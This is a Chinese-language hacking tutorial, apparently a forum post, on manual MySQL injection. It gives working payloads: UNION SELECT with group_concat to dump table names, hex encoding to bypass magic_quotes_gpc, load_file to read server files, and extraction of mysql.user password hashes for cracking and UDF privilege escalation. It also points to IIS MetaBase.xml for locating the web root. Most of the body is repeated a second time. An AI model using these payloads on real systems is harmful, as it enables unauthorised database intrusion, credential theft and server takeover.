MySql 手工注入实战
1.如何判断权限是否为root
and ord(mid(user(),1,1))=114 返回正常 即为ROOT权限,
2.注入点只有一个地方显示数据,如何查询多条数据
假设这个注入点 只有3 如何显示多条数据?
使用concat函数。
格式concat(user(),database(),version(),@@datadir)
root@localhosthyxy5.1.40-communityC:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
这样不好看? 可以自己加个空格
oot@localhost hyxy 5.1.40-community C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
这是数据,如果是想同时爆出所有数据库、表、列
即可用group_concat
and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
3.如何使用十六进制绕过 '
mysql数据库自带一个函数 hex 即可把字符转换成hex16进制
当然 用unhex 即可反之。
select hex('isosky');
select unhex('69736F736B79');
4.为什么root权限读入不了文件
(1)root被降权了
(2)linux服务器必须对目录有权限才可操作
(3)php.ini中的magic_quotes_gpc 为on 这个变量主要就是防止黑客攻击的
当为on时,不能直接输入路径,我们可以转换为hex绕过!当然我们也就可以通过这样来判断他的magic_quotes_gpc
的状态!
load_file('c:/boot.ini') 失败
load_file(0x633A2F626F6F742E696E69) 即可
5.为什么root没有写入权限
(1)root被降权了
(2)linux服务器必须对目录有权限才可操作
(3)同样是由于magic_quotes_gpc为on 是不可写入的。从第四个问题我们已经知道这台服务器的magic_quotes_gpc
是为on 所以是不能写入的。
可以测试一下。
'test'into outfile'c://1.txt' 返回错误 并没有写入成功!
6.windows服务器不知道路径,但是我想查到数据库的密码,这样可以直接拿到密码进行udf提权 怎么做?
select user,password,host from mysql.user 即可查询到
这个注入点的权限为root 自然对mysql数据库有查询权限
当然因为magic_quotes_gpc 为on 所以要使用hex绕过'
修改后即为
select concat(unhex(hex(cast(user as char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host as char)))) from mysql.user
(hex(cast((user as char))) 把user使用char类型查看然后转换为hex 这样得出的结果是hex
但是查询要是铭文 所以还要unhex,这样即可查询到用户.完善之后
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Blocalhost
为了好看,可以加个空格或者冒号
root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B:localhost
然后我们补充到注入点即为
and 1=2 union select 1,2,(select concat(unhex(hex(cast(user as char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host as char)))) from mysql.user limit 0,10),4,5,6,7,8,9,10
没有设定limit 显示的行数,结果爆出,害得我找半天。。
设定一下limit即可.
root:*DA042342E98014F25016DB9ACB43BD9ACE038343:localhost
之后破解hash即可UDF提权。
CMD5 就是这么不给力!
7.更多函数、技巧
+ 可以代替空格
比如 select 1,2,3,4,5 可以转换为 select+1,2,3,4,5
在注入点ID前面加个 - 号 可以代替 and 1=2
我想想。。。嗯。。实在想不到了。暂时就这么多吧。有问题可以单独和谐。。
----------------------------------------------
补充一个技巧:
IIS可以通过读取IIS配置文件找到网站路径!
c:\\windows\\system32\\inetsrv\\MetaBase.xml
and ord(mid(user(),1,1))=114 返回正常 即为ROOT权限,
2.注入点只有一个地方显示数据,如何查询多条数据
假设这个注入点 只有3 如何显示多条数据?
使用concat函数。
格式concat(user(),database(),version(),@@datadir)
root@localhosthyxy5.1.40-communityC:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
这样不好看? 可以自己加个空格
oot@localhost hyxy 5.1.40-community C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\Data\
这是数据,如果是想同时爆出所有数据库、表、列
即可用group_concat
and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
3.如何使用十六进制绕过 '
mysql数据库自带一个函数 hex 即可把字符转换成hex16进制
当然 用unhex 即可反之。
select hex('isosky');
select unhex('69736F736B79');
4.为什么root权限读入不了文件
(1)root被降权了
(2)linux服务器必须对目录有权限才可操作
(3)php.ini中的magic_quotes_gpc 为on 这个变量主要就是防止黑客攻击的
当为on时,不能直接输入路径,我们可以转换为hex绕过!当然我们也就可以通过这样来判断他的magic_quotes_gpc
的状态!
load_file('c:/boot.ini') 失败
load_file(0x633A2F626F6F742E696E69) 即可
5.为什么root没有写入权限
(1)root被降权了
(2)linux服务器必须对目录有权限才可操作
(3)同样是由于magic_quotes_gpc为on 是不可写入的。从第四个问题我们已经知道这台服务器的magic_quotes_gpc
是为on 所以是不能写入的。
可以测试一下。
'test'into outfile'c://1.txt' 返回错误 并没有写入成功!
6.windows服务器不知道路径,但是我想查到数据库的密码,这样可以直接拿到密码进行udf提权 怎么做?
select user,password,host from mysql.user 即可查询到
这个注入点的权限为root 自然对mysql数据库有查询权限
当然因为magic_quotes_gpc 为on 所以要使用hex绕过'
修改后即为
select concat(unhex(hex(cast(user as char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host as char)))) from mysql.user
(hex(cast((user as char))) 把user使用char类型查看然后转换为hex 这样得出的结果是hex
但是查询要是铭文 所以还要unhex,这样即可查询到用户.完善之后
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Blocalhost
为了好看,可以加个空格或者冒号
root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B:localhost
然后我们补充到注入点即为
and 1=2 union select 1,2,(select concat(unhex(hex(cast(user as char))),0x3a,unhex(hex(cast(password as char))),0x3a,unhex(hex(cast(host as char)))) from mysql.user limit 0,10),4,5,6,7,8,9,10
没有设定limit 显示的行数,结果爆出,害得我找半天。。
设定一下limit即可.
root:*DA042342E98014F25016DB9ACB43BD9ACE038343:localhost
之后破解hash即可UDF提权。
CMD5 就是这么不给力!
7.更多函数、技巧
+ 可以代替空格
比如 select 1,2,3,4,5 可以转换为 select+1,2,3,4,5
在注入点ID前面加个 - 号 可以代替 and 1=2
我想想。。。嗯。。实在想不到了。暂时就这么多吧。有问题可以单独和谐。。
----------------------------------------------
补充一个技巧:
IIS可以通过读取IIS配置文件找到网站路径!
c:\\windows\\system32\\inetsrv\\MetaBase.xml